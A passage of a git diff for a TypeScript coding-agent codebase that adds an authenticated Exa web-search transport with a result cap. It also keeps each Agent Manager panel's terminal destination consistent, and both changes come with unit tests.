"@kilocode/kilo-gateway" + +export const KILO_EXA_URL = `${KILO_API_BASE}/api/exa/search` +export const MAX_KILO_EXA_RESULTS = 10 + +const ExaResult = Schema.Struct({ + title: Schema.optional(Schema.String), + url: Schema.String, + publishedDate: Schema.optional(Schema.String), + author: Schema.optional(Schema.String), + highlights: Schema.optional(Schema.Array(Schema.String)), +}) + +const ExaResponse = Schema.Struct({ + results: Schema.Array(ExaResult), +}) + +const NO_RESULTS = "No search results found. Please try a different query." + +const formatResults = (data: Schema.Schema.Type): string => { + if (data.results.length === 0) return NO_RESULTS + return data.results + .map((r, i) => { + const head = `[${i + 1}] ${r.title ?? r.url}\n${r.url}${r.publishedDate ? ` (${r.publishedDate})` : ""}` + const hl = r.highlights?.length ? `\n${r.highlights.map((h) => `> ${h}`).join("\n")}` : "" + return `${head}${hl}` + }) + .join("\n\n") +} + +export type KiloExaParams = { + query: string + type?: string + numResults?: number +} + +export const callKiloExa = Effect.fn("WebSearchKiloExa.call")(function* ( + http: HttpClient.HttpClient, + params: KiloExaParams, + kiloToken: string, +) { + const numResults = Math.min(params.numResults ?? MAX_KILO_EXA_RESULTS, MAX_KILO_EXA_RESULTS) + const request = yield* HttpClientRequest.post(KILO_EXA_URL).pipe( + HttpClientRequest.bearerToken(kiloToken), + HttpClientRequest.acceptJson, + HttpClientRequest.bodyJson({ + query: params.query, + type: params.type ?? "auto", + numResults, + contents: { highlights: true }, + }), + ) + const response = yield* http.execute(request).pipe( + Effect.timeoutOrElse({ + duration: Duration.seconds(25), + orElse: () => Effect.die(new Error("kilo exa request timed out")), + }), + ) + const status = response.status + if (status === 401 || status === 403) { + return yield* Effect.die(new Error(`Kilo exa request unauthorized (${status}); sign in with \`kilo auth login\``)) + } + if (status < 200 || status >= 300) { + const body = yield* response.text + return yield* Effect.die(new Error(`Kilo exa request failed (${status}): ${body.slice(0, 200)}`)) + } + const data = yield* response.json + const decode = Schema.decodeUnknownEffect(ExaResponse) + const parsed = yield* decode(data).pipe(Effect.orDie) + return formatResults(parsed) +}) diff --git a/packages/opencode/src/tool/websearch.ts b/packages/opencode/src/tool/websearch.ts index 12da7fbb3a..9a812cfc62 100644 --- a/packages/opencode/src/tool/websearch.ts +++ b/packages/opencode/src/tool/websearch.ts @@ -1,16 +1,20 @@ -import { Effect, Schema } from "effect" +import { Effect, Option, Schema } from "effect" // kilocode_change - Option added for kilo-exa transport dispatch import { HttpClient } from "effect/unstable/http" import * as Tool from "./tool" import * as McpWebSearch from "./mcp-websearch" +import * as KiloExa from "@/kilocode/tool/websearch-kilo-exa" // kilocode_change - Kilo-REST Exa transport import DESCRIPTION from "./websearch.txt" import { checksum } from "@opencode-ai/core/util/encode" import { InstallationVersion } from "@opencode-ai/core/installation/version" import { RuntimeFlags } from "@/effect/runtime-flags" +import { Auth } from "@/auth" // kilocode_change - source Kilo bearer for Kilo-REST transport + +const MAX_RESULTS = 10 // kilocode_change - cap numResults across all transports export const Parameters = Schema.Struct({ query: Schema.String.annotate({ description: "Websearch query" }), numResults: Schema.optional(Schema.Number).annotate({ - description: "Number of search results to return (default: 8)", + description: "Number of search results to return (default: 8, maximum: 10)", // kilocode_change - note MAX_RESULTS cap }), livecrawl: Schema.optional(Schema.Literals(["fallback", "preferred"])).annotate({ description: @@ -24,12 +28,12 @@ export const Parameters = Schema.Struct({ }), }) -const WebSearchProviderSchema = Schema.Literals(["exa", "parallel"]) +const WebSearchProviderSchema = Schema.Literals(["exa", "parallel", "kilo-exa"]) // kilocode_change - kilo-exa env override export type WebSearchProvider = Schema.Schema.Type export function selectWebSearchProvider(sessionID: string, flags = { exa: false, parallel: false }): WebSearchProvider { const override = process.env.KILO_WEBSEARCH_PROVIDER - if (override === "exa" || override === "parallel") return override + if (override === "exa" || override === "parallel" || override === "kilo-exa") return override // kilocode_change - kilo-exa env override if (flags.parallel) return "parallel" if (flags.exa) return "exa" @@ -38,7 +42,7 @@ export function selectWebSearchProvider(sessionID: string, flags = { exa: false, export function webSearchProviderLabel(provider: unknown) { if (provider === "parallel") return "Parallel Web Search" - if (provider === "exa") return "Exa Web Search" + if (provider === "exa" || provider === "kilo-exa") return "Exa Web Search" // kilocode_change - kilo-exa shares label return "Web Search" } @@ -88,7 +92,7 @@ function callProvider( { query: params.query, type: params.type || "auto", - numResults: params.numResults || 8, + numResults: Math.min(params.numResults || 8, MAX_RESULTS), // kilocode_change - cap at MAX_RESULTS livecrawl: params.livecrawl || "fallback", contextMaxCharacters: params.contextMaxCharacters, }, @@ -101,6 +105,7 @@ export const WebSearchTool = Tool.define( Effect.gen(function* () { const http = yield* HttpClient.HttpClient const flags = yield* RuntimeFlags.Service + const authSvc = yield* Auth.Service // kilocode_change - source Kilo bearer for Kilo-REST transport return { get description() { @@ -114,7 +119,36 @@ export const WebSearchTool = Tool.define( parallel: flags.enableParallel, }) const title = webSearchProviderLabel(provider) - yield* ctx.metadata({ title: `${title} "${params.query}"`, metadata: { provider } }) + // kilocode_change start - Kilo-REST Exa transport + // Precedence: + // provider="kilo-exa" -> kilo-rest (auth required) + // provider="exa" + EXA_API_KEY -> mcp-exa-byok (BYOK wins) + // provider="exa" + Kilo auth -> kilo-rest (new default for authed users) + // provider="exa" + no auth -> mcp-exa-unauth (preserves current fallback) + // provider="parallel" -> mcp-parallel (unchanged) + const kiloToken = yield* Effect.gen(function* () { + if (provider !== "exa" && provider !== "kilo-exa") return undefined as string | undefined + const info = yield* authSvc.get("kilo") + if (!info) return undefined + return info.type === "api" ? info.key : info.type === "oauth" ? info.access : undefined + }) + const transport = + provider === "kilo-exa" + ? "kilo-rest" + : provider === "parallel" + ? "mcp-parallel" + : provider === "exa" && process.env.EXA_API_KEY + ? "mcp-exa-byok" + : provider === "exa" && kiloToken + ? "kilo-rest" + : "mcp-exa-unauth" + // kilocode_change end + // kilocode_change start - add transport to metadata + yield* ctx.metadata({ + title: `${title} "${params.query}"`, + metadata: { provider, transport }, + }) + // kilocode_change end yield* ctx.ask({ permission: "websearch", @@ -130,12 +164,26 @@ export const WebSearchTool = Tool.define( }, }) - const result = yield* callProvider(http, provider, params, ctx) + // kilocode_change start - dispatch Kilo-REST transport + const result = yield* transport === "kilo-rest" + ? kiloToken + ? KiloExa.callKiloExa( + http, + { + query: params.query, + type: params.type, + numResults: params.numResults, + }, + kiloToken, + ) + : Effect.die(new Error("KILO_WEBSEARCH_PROVIDER=kilo-exa requires Kilo auth; run `kilo auth login`")) + : callProvider(http, provider, params, ctx) + // kilocode_change end return { output: result ?? "No search results found. Please try a different query.", title: `${title}: ${params.query}`, - metadata: { provider }, + metadata: { provider, transport }, // kilocode_change - add transport } }).pipe(Effect.orDie), } diff --git a/packages/opencode/test/kilocode/tool/websearch-kilo-exa.test.ts b/packages/opencode/test/kilocode/tool/websearch-kilo-exa.test.ts new file mode 100644 index 0000000000..5756e7c671 --- /dev/null +++ b/packages/opencode/test/kilocode/tool/websearch-kilo-exa.test.ts @@ -0,0 +1,180 @@ +// kilocode_change - new file +import { describe, expect, test } from "bun:test" +import { Effect, Exit, Layer } from "effect" +import { HttpBody, HttpClient, HttpClientResponse } from "effect/unstable/http" +import { + KILO_EXA_URL, + MAX_KILO_EXA_RESULTS, + type KiloExaParams, + callKiloExa, +} from "../../../src/kilocode/tool/websearch-kilo-exa" + +type Recorded = { + url?: string + method?: string + authorization?: string + body?: string +} + +const readBody = async (body: HttpBody.HttpBody): Promise => { + if (body._tag === "Uint8Array") return new TextDecoder().decode(body.body) + if (body._tag === "Raw") return JSON.stringify(body.body) + return "" +} + +const jsonResponse = (status: number, body: unknown): Response => + new Response(JSON.stringify(body), { + status, + headers: { "content-type": "application/json" }, + }) + +const okJson = (body: unknown) => jsonResponse(200, body) + +const fakeHttp = (respond: (status: number) => Response, recorded?: Recorded): HttpClient.HttpClient => + HttpClient.make((request) => + Effect.gen(function* () { + const url = request.url + const method = request.method + const authorization = request.headers["authorization"] + const body = yield* Effect.promise(() => readBody(request.body)) + if (recorded) { + recorded.url = url + recorded.method = method + recorded.authorization = authorization + recorded.body = body + } + return HttpClientResponse.fromWeb( + request as unknown as Parameters[0], + respond(200), + ) + }), + ) + +const runCall = async ( + params: KiloExaParams, + respond: (status: number) => Response, + recorded?: Recorded, + kiloToken = "kilo-test-token", +) => + Effect.runPromiseExit( + Effect.gen(function* () { + const http = fakeHttp(respond, recorded) + return yield* callKiloExa(http, params, kiloToken) + }), + ) + +describe("callKiloExa request shape", () => { + test("posts to KILO_EXA_URL with bearer token and highlights-only contents", async () => { + const recorded: Recorded = {} + const exit = await runCall({ query: "drone" }, () => okJson({ results: [] }), recorded) + expect(Exit.isSuccess(exit)).toBe(true) + expect(recorded.url).toContain("/api/exa/search") + expect(recorded.method).toBe("POST") + expect(recorded.authorization).toBe("Bearer kilo-test-token") + const parsed = JSON.parse(recorded.body!) + expect(parsed.query).toBe("drone") + expect(parsed.type).toBe("auto") + expect(parsed.numResults).toBe(MAX_KILO_EXA_RESULTS) + expect(parsed.contents).toEqual({ highlights: true }) + }) + + test("uses caller numResults when below cap", async () => { + const recorded: Recorded = {} + await runCall({ query: "x", numResults: 3 }, () => okJson({ results: [] }), recorded) + expect(JSON.parse(recorded.body!).numResults).toBe(3) + }) + + test("clamps numResults at MAX_KILO_EXA_RESULTS", async () => { + const recorded: Recorded = {} + await runCall({ query: "x", numResults: 25 }, () => okJson({ results: [] }), recorded) + expect(JSON.parse(recorded.body!).numResults).toBe(MAX_KILO_EXA_RESULTS) + }) + + test("passes through caller type", async () => { + const recorded: Recorded = {} + await runCall({ query: "x", type: "deep" }, () => okJson({ results: [] }), recorded) + expect(JSON.parse(recorded.body!).type).toBe("deep") + }) + + test("KILO_EXA_URL is built from KILO_API_BASE", () => { + expect(KILO_EXA_URL).toMatch(/\/api\/exa\/search$/) + }) +}) + +describe("callKiloExa response formatting", () => { + const okValue = (exit: Exit.Exit): string => { + if (Exit.isFailure(exit)) throw new Error("expected success") + return (exit as Extract).value as string + } + + test("formats results with title, url, date and highlights", async () => { + const exit = await runCall({ query: "x" }, () => + okJson({ + results: [ + { + title: "A drone", + url: "https://example.com/a", + publishedDate: "2025-01-02T00:00:00.000Z", + highlights: ["first", "second"], + }, + ], + }), + ) + const text = okValue(exit) + expect(text).toContain("[1] A drone") + expect(text).toContain("https://example.com/a") + expect(text).toContain("(2025-01-02T00:00:00.000Z)") + expect(text).toContain("> first") + expect(text).toContain("> second") + }) + + test("falls back to url when title is missing", async () => { + const exit = await runCall({ query: "x" }, () => okJson({ results: [{ url: "https://example.com/no-title" }] })) + expect(okValue(exit)).toContain("[1] https://example.com/no-title") + }) + + test("returns NO_RESULTS message on empty results", async () => { + const exit = await runCall({ query: "x" }, () => okJson({ results: [] })) + expect(okValue(exit)).toBe("No search results found. Please try a different query.") + }) + + test("ignores costDollars on the response (cost accounting out of scope)", async () => { + const exit = await runCall({ query: "x" }, () => + okJson({ + results: [{ url: "https://example.com" }], + costDollars: { total: 0.007, search: { neural: 0.007 } }, + requestId: "req-123", + }), + ) + expect(Exit.isSuccess(exit)).toBe(true) + }) +}) + +describe("callKiloExa error handling", () => { + test("dies with auth-required message on 401", async () => { + const exit = await runCall({ query: "x" }, () => jsonResponse(401, {})) + expect(Exit.isFailure(exit)).toBe(true) + if (Exit.isSuccess(exit)) return + expect(String((exit as Extract).cause)).toContain("unauthorized") + expect(String((exit as Extract).cause)).toContain("kilo auth login") + }) + + test("dies with auth-required message on 403", async () => { + const exit = await runCall({ query: "x" }, () => jsonResponse(403, {})) + expect(Exit.isFailure(exit)).toBe(true) + if (Exit.isSuccess(exit)) return + expect(String((exit as Extract).cause)).toContain("unauthorized") + }) + + test("dies with status code on other non-2xx", async () => { + const exit = await runCall({ query: "x" }, () => jsonResponse(500, { error: "boom" })) + expect(Exit.isFailure(exit)).toBe(true) + if (Exit.isSuccess(exit)) return + expect(String((exit as Extract).cause)).toContain("500") + }) + + test("dies when response body is not valid ExaResponse shape", async () => { + const exit = await runCall({ query: "x" }, () => okJson({ nope: true })) + expect(Exit.isFailure(exit)).toBe(true) + }) +}) diff --git a/packages/opencode/test/tool/__snapshots__/parameters.test.ts.snap b/packages/opencode/test/tool/__snapshots__/parameters.test.ts.snap index f4951dfa51..368225175b 100644 --- a/packages/opencode/test/tool/__snapshots__/parameters.test.ts.snap +++ b/packages/opencode/test/tool/__snapshots__/parameters.test.ts.snap @@ -462,7 +462,7 @@ exports[`tool parameters JSON Schema (wire shape) websearch 1`] = ` "type": "string", }, "numResults": { - "description": "Number of search results to return (default: 8)", + "description": "Number of search results to return (default: 8, maximum: 10)", "type": "number", }, "query": { From 0a1c14073a4bf14f8ad4e3c8295dc6ae6bfbfdaf Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 10:30:15 +0200 Subject: [PATCH 014/100] fix(agent-manager): keep terminal destination consistent across windows (#12629) --- ...anager-terminal-destination-consistency.md | 5 + packages/kilo-vscode/package.json | 2 +- .../src/agent-manager/AgentManagerProvider.ts | 11 +++ .../agent-manager/SessionTerminalManager.ts | 21 ++++ .../__tests__/AgentManagerProvider.spec.ts | 15 +++ .../kilo-vscode/src/agent-manager/types.ts | 6 ++ .../tests/unit/agent-manager-arch.test.ts | 1 + .../unit/agent-manager-terminal-side.test.ts | 99 ++++++++++++++++++- .../unit/session-terminal-manager.test.ts | 61 ++++++++++++ .../agent-manager/AgentManagerApp.tsx | 20 ++-- .../agent-manager/terminal/index.ts | 2 +- .../webview-ui/agent-manager/terminal/side.ts | 72 +++++++++++++- .../src/types/messages/webview-messages.ts | 7 ++ 13 files changed, 306 insertions(+), 16 deletions(-) create mode 100644 .changeset/agent-manager-terminal-destination-consistency.md diff --git a/.changeset/agent-manager-terminal-destination-consistency.md b/.changeset/agent-manager-terminal-destination-consistency.md new file mode 100644 index 0000000000..1bd4453d5b --- /dev/null +++ b/.changeset/agent-manager-terminal-destination-consistency.md @@ -0,0 +1,5 @@ +--- +"kilo-code": patch +--- + +Keep each Agent Manager panel's terminal destination consistent. A dropdown pick is now remembered per panel and no longer flips when another window rewrites the shared terminal destination setting, so the terminal shortcut keeps opening the terminal type that panel is actually using. The shortcut also no longer dead-ends on worktrees without an active session, and terminals left over from a reloaded webview are cleaned up instead of leaking. diff --git a/packages/kilo-vscode/package.json b/packages/kilo-vscode/package.json index 45d6fbeb52..e6fa5101c1 100644 --- a/packages/kilo-vscode/package.json +++ b/packages/kilo-vscode/package.json @@ -1028,7 +1028,7 @@ "Open or focus the VS Code integrated terminal.", "Open or focus an embedded terminal in the Agent Manager side panel." ], - "description": "Choose where the Agent Manager terminal button and Focus Terminal keyboard shortcut open a terminal." + "description": "Default destination for the Agent Manager terminal button and Focus Terminal keyboard shortcut. The terminal button's dropdown remembers its own choice per Agent Manager panel; this setting only applies to panels that never picked one." }, "kilo-code.new.indexing.showButtonWhenDisabled": { "type": "boolean", diff --git a/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts b/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts index bf72af74ab..e92438bd52 100644 --- a/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts +++ b/packages/kilo-vscode/src/agent-manager/AgentManagerProvider.ts @@ -593,6 +593,10 @@ export class AgentManagerProvider implements Disposable { this.terminalManager.showLocalTerminal() return null } + if (m.type === "agentManager.showWorktreeTerminal") { + this.terminalManager.showWorktreeTerminal(m.worktreeId, this.state) + return null + } if (m.type === "agentManager.openWorktree") { this.openWorktreeDirectory(m.worktreeId) return null @@ -720,6 +724,13 @@ export class AgentManagerProvider implements Disposable { } private onRequestState(): void { + // requestState fires from the webview's onMount, and a freshly mounted + // webview has no terminal records — any PTYs the router still tracks + // belong to a previous webview instance (reload or crash) and are + // unreachable orphans. Kill them here rather than leaking shells until + // the panel itself is disposed. In-flight creates from the dying + // instance are reaped by the router's generation guard. + void this.terminalRouter.dispose() void this.stateReady ?.then(() => { // When the folder is not a git repo (or has no folder open), diff --git a/packages/kilo-vscode/src/agent-manager/SessionTerminalManager.ts b/packages/kilo-vscode/src/agent-manager/SessionTerminalManager.ts index 6120ba6a1c..020880244d 100644 --- a/packages/kilo-vscode/src/agent-manager/SessionTerminalManager.ts +++ b/packages/kilo-vscode/src/agent-manager/SessionTerminalManager.ts @@ -122,6 +122,27 @@ export class SessionTerminalManager { this.showOrCreate(SessionTerminalManager.LOCAL_KEY, cwd, "Agent: local") } + /** + * Show (or create) a terminal rooted at a worktree directory. Used when + * the worktree has no session to key the terminal off (e.g. all of its + * sessions were closed) so the shortcut never dead-ends on a sessionless + * worktree. + */ + showWorktreeTerminal(worktreeId: string, state: WorktreeStateManager | undefined): void { + const key = `worktree:${worktreeId}` + if (this.showExisting(key, false)) return + + const worktree = state?.getWorktree(worktreeId) + const cwd = worktree?.path ?? this.host.repoPath() + if (!cwd) { + this.log(`showWorktreeTerminal: no cwd resolved for worktree ${worktreeId}`) + this.host.showWarning("Open a folder that contains a git repository to use worktrees") + return + } + + this.showOrCreate(key, cwd, worktree ? `Agent: ${worktree.branch}` : "Agent: worktree") + } + /** * Show the existing local terminal if one was previously created (used on context switch). */ diff --git a/packages/kilo-vscode/src/agent-manager/__tests__/AgentManagerProvider.spec.ts b/packages/kilo-vscode/src/agent-manager/__tests__/AgentManagerProvider.spec.ts index 045a108faf..7766476185 100644 --- a/packages/kilo-vscode/src/agent-manager/__tests__/AgentManagerProvider.spec.ts +++ b/packages/kilo-vscode/src/agent-manager/__tests__/AgentManagerProvider.spec.ts @@ -39,6 +39,7 @@ vi.mock("../SessionTerminalManager", () => ({ SessionTerminalManager: class { showTerminal() {} showLocalTerminal() {} + showWorktreeTerminal() {} syncLocalOnSessionSwitch() {} syncOnSessionSwitch() { return false @@ -216,6 +217,20 @@ describe("AgentManagerProvider worktree creation", () => { expect(manager.createWorktreeOnDisk).toHaveBeenCalledTimes(1) }) + it("disposes orphaned terminals when a freshly mounted webview requests state", async () => { + const manager = createHarness() + const dispose = vi.fn().mockResolvedValue(undefined) + manager.terminalRouter = { handle: vi.fn().mockReturnValue(false), dispose } as unknown as { + handle: ReturnType + } + // Avoid the vscode-backed pushEmptyState; the disposal under test is synchronous. + ;(manager as unknown as Record).pushEmptyState = vi.fn() + + await manager.onMessage({ type: "agentManager.requestState" }) + + expect(dispose).toHaveBeenCalledTimes(1) + }) + it("routes file search through the active worktree session", async () => { const manager = createHarness() manager.activeSessionId = "session-wt" diff --git a/packages/kilo-vscode/src/agent-manager/types.ts b/packages/kilo-vscode/src/agent-manager/types.ts index 8950c68d22..d386e36acc 100644 --- a/packages/kilo-vscode/src/agent-manager/types.ts +++ b/packages/kilo-vscode/src/agent-manager/types.ts @@ -414,6 +414,11 @@ interface ShowLocalTerminalIn { type: "agentManager.showLocalTerminal" } +interface ShowWorktreeTerminalIn { + type: "agentManager.showWorktreeTerminal" + worktreeId: string +} + interface OpenWorktreeIn { type: "agentManager.openWorktree" worktreeId: string @@ -780,6 +785,7 @@ export type AgentManagerInMessage = | StopRunScriptIn | ShowTerminalIn | ShowLocalTerminalIn + | ShowWorktreeTerminalIn | OpenWorktreeIn | CopyToClipboardIn | ShowExistingLocalTerminalIn diff --git a/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts index 804471f9bb..afcbae2f3d 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts @@ -411,6 +411,7 @@ describe("Agent Manager Provider — onMessage routing", () => { "agentManager.stopRunScript", "agentManager.showTerminal", "agentManager.showLocalTerminal", + "agentManager.showWorktreeTerminal", "agentManager.showExistingLocalTerminal", "agentManager.requestRepoInfo", "agentManager.requestState", diff --git a/packages/kilo-vscode/tests/unit/agent-manager-terminal-side.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-terminal-side.test.ts index 199d3adca2..831e2c187b 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-terminal-side.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-terminal-side.test.ts @@ -1,13 +1,25 @@ import { describe, expect, it } from "bun:test" -import { createSideTerminal } from "../../webview-ui/agent-manager/terminal/side" +import { + createSideTerminal, + readSavedDestination, + resolveVscodeTerminalRequest, +} from "../../webview-ui/agent-manager/terminal/side" -function scene(opts: { destination?: "vscode" | "agentManager"; visible?: boolean; focused?: boolean } = {}) { +function scene( + opts: { + destination?: "vscode" | "agentManager" + saved?: "vscode" | "agentManager" + visible?: boolean + focused?: boolean + } = {}, +) { const calls = { requestSide: 0, closeSide: 0, hide: 0, refocus: 0, openVscode: 0, + persisted: [] as string[], posted: [] as Array>, tracked: [] as string[], } @@ -35,8 +47,10 @@ function scene(opts: { destination?: "vscode" | "agentManager"; visible?: boolea postMessage: (msg) => calls.posted.push(msg as Record), track: (button) => calls.tracked.push(button), openVscode: () => calls.openVscode++, + saved: opts.saved, + save: (destination) => calls.persisted.push(destination), }) - if (opts.destination) ctl.setDestination(opts.destination) + if (opts.destination) ctl.syncDefault(opts.destination) return { ctl, calls } } @@ -88,5 +102,84 @@ describe("Agent Manager side terminal controller", () => { expect(item.calls.posted).toEqual([ { type: "updateSetting", key: "agentManager.terminalButtonDestination", value: "agentManager" }, ]) + expect(item.calls.persisted).toEqual(["agentManager"]) + }) + + it("follows the remote default while the panel has no explicit choice", () => { + const item = scene() + item.ctl.syncDefault("agentManager") + expect(item.ctl.destination()).toBe("agentManager") + item.ctl.syncDefault("vscode") + expect(item.ctl.destination()).toBe("vscode") + }) + + it("keeps the panel's explicit choice when another window rewrites the shared setting", () => { + const item = scene() + item.ctl.choose("agentManager") + // Echo of the application-scoped setting being rewritten elsewhere: + // worktree window B picked the VS Code terminal, which must not flip + // this panel's routing. + item.ctl.syncDefault("vscode") + expect(item.ctl.destination()).toBe("agentManager") + item.ctl.openPreferred("keyboard_shortcut") + expect(item.calls.requestSide).toBe(1) + expect(item.calls.openVscode).toBe(0) + }) + + it("restores a saved panel choice and ignores remote defaults", () => { + const item = scene({ saved: "agentManager" }) + expect(item.ctl.destination()).toBe("agentManager") + item.ctl.syncDefault("vscode") + expect(item.ctl.destination()).toBe("agentManager") + }) +}) + +describe("readSavedDestination", () => { + it("reads a valid choice and rejects anything else", () => { + expect(readSavedDestination({ terminalDestination: "agentManager" })).toBe("agentManager") + expect(readSavedDestination({ terminalDestination: "vscode" })).toBe("vscode") + expect(readSavedDestination({ terminalDestination: "bogus" })).toBeUndefined() + expect(readSavedDestination({})).toBeUndefined() + expect(readSavedDestination(undefined)).toBeUndefined() + }) +}) + +describe("resolveVscodeTerminalRequest", () => { + const sessions = new Map([ + ["wt-1", "session-a"], + ["wt-2", "session-b"], + ]) + const forWorktree = (id: string) => sessions.get(id) + + it("prefers the current session", () => { + expect(resolveVscodeTerminalRequest("wt-1", "session-current", forWorktree)).toEqual({ + type: "agentManager.showTerminal", + sessionId: "session-current", + }) + }) + + it("falls back to a session of the selected worktree when the current session is cleared", () => { + // Terminal tab activation clears the current session; the shortcut + // must still open a terminal for the worktree, not dead-end. + expect(resolveVscodeTerminalRequest("wt-2", undefined, forWorktree)).toEqual({ + type: "agentManager.showTerminal", + sessionId: "session-b", + }) + }) + + it("opens a worktree-rooted terminal for sessionless worktrees", () => { + expect(resolveVscodeTerminalRequest("wt-3", undefined, forWorktree)).toEqual({ + type: "agentManager.showWorktreeTerminal", + worktreeId: "wt-3", + }) + }) + + it("opens the local terminal for the local context and unassigned selections", () => { + expect(resolveVscodeTerminalRequest("local", undefined, forWorktree)).toEqual({ + type: "agentManager.showLocalTerminal", + }) + expect(resolveVscodeTerminalRequest(null, undefined, forWorktree)).toEqual({ + type: "agentManager.showLocalTerminal", + }) }) }) diff --git a/packages/kilo-vscode/tests/unit/session-terminal-manager.test.ts b/packages/kilo-vscode/tests/unit/session-terminal-manager.test.ts index 4e763196bf..8dc6e7d79c 100644 --- a/packages/kilo-vscode/tests/unit/session-terminal-manager.test.ts +++ b/packages/kilo-vscode/tests/unit/session-terminal-manager.test.ts @@ -9,6 +9,7 @@ import { describe, it, expect } from "bun:test" import path from "node:path" import { Project, SyntaxKind } from "ts-morph" import { SessionTerminalManager, type TerminalHost } from "../../src/agent-manager/SessionTerminalManager" +import type { WorktreeStateManager } from "../../src/agent-manager/WorktreeStateManager" const ROOT = path.resolve(import.meta.dir, "../..") const FILE = path.join(ROOT, "src/agent-manager/SessionTerminalManager.ts") @@ -162,3 +163,63 @@ describe("SessionTerminalManager command restoration", () => { state.manager.dispose() }) }) + +describe("SessionTerminalManager worktree terminals", () => { + function scene(opts: { worktreePath?: string; repoPath?: string } = {}) { + const created: Array<{ cwd: string; name: string }> = [] + const warnings: string[] = [] + let shown = 0 + const host: TerminalHost = { + createTerminal(o) { + created.push(o) + return { + show: () => shown++, + dispose() {}, + exitStatus: undefined, + } + }, + activeTerminal: () => undefined, + repoPath: () => opts.repoPath, + showWarning: (msg) => warnings.push(msg), + setContext() {}, + onTerminalClosed: () => ({ dispose() {} }), + onActiveTerminalChanged: () => ({ dispose() {} }), + registerCommand: () => ({ dispose() {} }), + executeCommand: () => Promise.resolve(), + } + const state = { + getWorktree: (id: string) => + opts.worktreePath ? { id, path: opts.worktreePath, branch: "feature/x" } : undefined, + } as unknown as WorktreeStateManager + const manager = new SessionTerminalManager(() => {}, host) + return { manager, state, created, warnings, shown: () => shown } + } + + it("creates a terminal rooted at the worktree path", () => { + const s = scene({ worktreePath: "/repo/.kilo/worktrees/wt-1", repoPath: "/repo" }) + s.manager.showWorktreeTerminal("wt-1", s.state) + expect(s.created).toEqual([{ cwd: "/repo/.kilo/worktrees/wt-1", name: "Agent: feature/x" }]) + expect(s.shown()).toBe(1) + }) + + it("reuses the live terminal on repeat calls", () => { + const s = scene({ worktreePath: "/repo/.kilo/worktrees/wt-1" }) + s.manager.showWorktreeTerminal("wt-1", s.state) + s.manager.showWorktreeTerminal("wt-1", s.state) + expect(s.created).toHaveLength(1) + expect(s.shown()).toBe(2) + }) + + it("falls back to the repo root when the worktree is unknown", () => { + const s = scene({ repoPath: "/repo" }) + s.manager.showWorktreeTerminal("gone", s.state) + expect(s.created).toEqual([{ cwd: "/repo", name: "Agent: worktree" }]) + }) + + it("warns and creates nothing when no cwd resolves", () => { + const s = scene({}) + s.manager.showWorktreeTerminal("gone", s.state) + expect(s.created).toHaveLength(0) + expect(s.warnings).toHaveLength(1) + }) +}) diff --git a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx index ce6f795941..ff783f0495 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx +++ b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx @@ -126,6 +126,8 @@ import { createTerminalHandlers, createTerminalMessageHandler, createSideTerminal, + readSavedDestination, + resolveVscodeTerminalRequest, } from "./terminal" import { focusCurrentTab, renderTab, renderTerminalLayer, renderNewTabButton } from "./tab-rendering" import { useTabScroll } from "./tab-scroll" @@ -1283,7 +1285,7 @@ const AgentManagerContent: Component = () => { // a slow create landing after a mode switch must not steal it. if (sidePanel() === "terminal" && terms.sideKey() === contextKey) terms.requestFocus(terminalId) }, - onDestinationChanged: (destination) => sideCtl.setDestination(destination), + onDestinationChanged: (destination) => sideCtl.syncDefault(destination), }) const unsubTerminals = vscode.onMessage((msg) => { terminalDispatch(msg) @@ -2108,11 +2110,17 @@ const AgentManagerContent: Component = () => { refocus: () => window.dispatchEvent(new Event("focusPrompt")), postMessage: (msg) => vscode.postMessage(msg as never), track: (button, surface, properties) => metrics.track(button, surface, properties), - openVscode: () => { - const id = session.currentSessionID() - if (id) vscode.postMessage({ type: "agentManager.showTerminal", sessionId: id }) - else if (selection() === LOCAL) vscode.postMessage({ type: "agentManager.showLocalTerminal" }) - }, + // Panel-local pick, immune to cross-window setting echoes (see side.ts). + saved: readSavedDestination(vscode.getState>()), + save: (d) => vscode.setState({ ...vscode.getState>(), terminalDestination: d }), + openVscode: () => + vscode.postMessage( + resolveVscodeTerminalRequest( + selection(), + session.currentSessionID(), + (wt) => managedSessions().find((ms) => ms.worktreeId === wt)?.id, + ) as never, + ), }) const handleReviewTabMouseDown = (e: MouseEvent) => { diff --git a/packages/kilo-vscode/webview-ui/agent-manager/terminal/index.ts b/packages/kilo-vscode/webview-ui/agent-manager/terminal/index.ts index 6bac7cab9b..2d76c0f1a5 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/terminal/index.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/terminal/index.ts @@ -23,6 +23,6 @@ export type { TerminalTabState, TerminalStateControls, TerminalHandlerDeps } fro export { renderTerminalTab, renderTerminalLayer, renderSideTerminalLayer } from "./render" export { SideTerminalPanel } from "./SideTerminalPanel" export { TerminalDestinationButton } from "./TerminalDestinationButton" -export { createSideTerminal } from "./side" +export { createSideTerminal, readSavedDestination, resolveVscodeTerminalRequest } from "./side" export { TerminalTab } from "./TerminalTab" export { SortableTerminalTab } from "./SortableTerminalTab" diff --git a/packages/kilo-vscode/webview-ui/agent-manager/terminal/side.ts b/packages/kilo-vscode/webview-ui/agent-manager/terminal/side.ts index 3c7fe39145..cf1c3587cf 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/terminal/side.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/terminal/side.ts @@ -7,11 +7,52 @@ * embedded terminal behaves like the diff panel: press once to reveal, * press again to hide. Hiding never kills the terminal — only the * explicit close action (or `Cmd+W` while it holds focus) does. + * + * ## Destination state ownership + * + * The VS Code setting is application-scoped, so one value is shared by + * 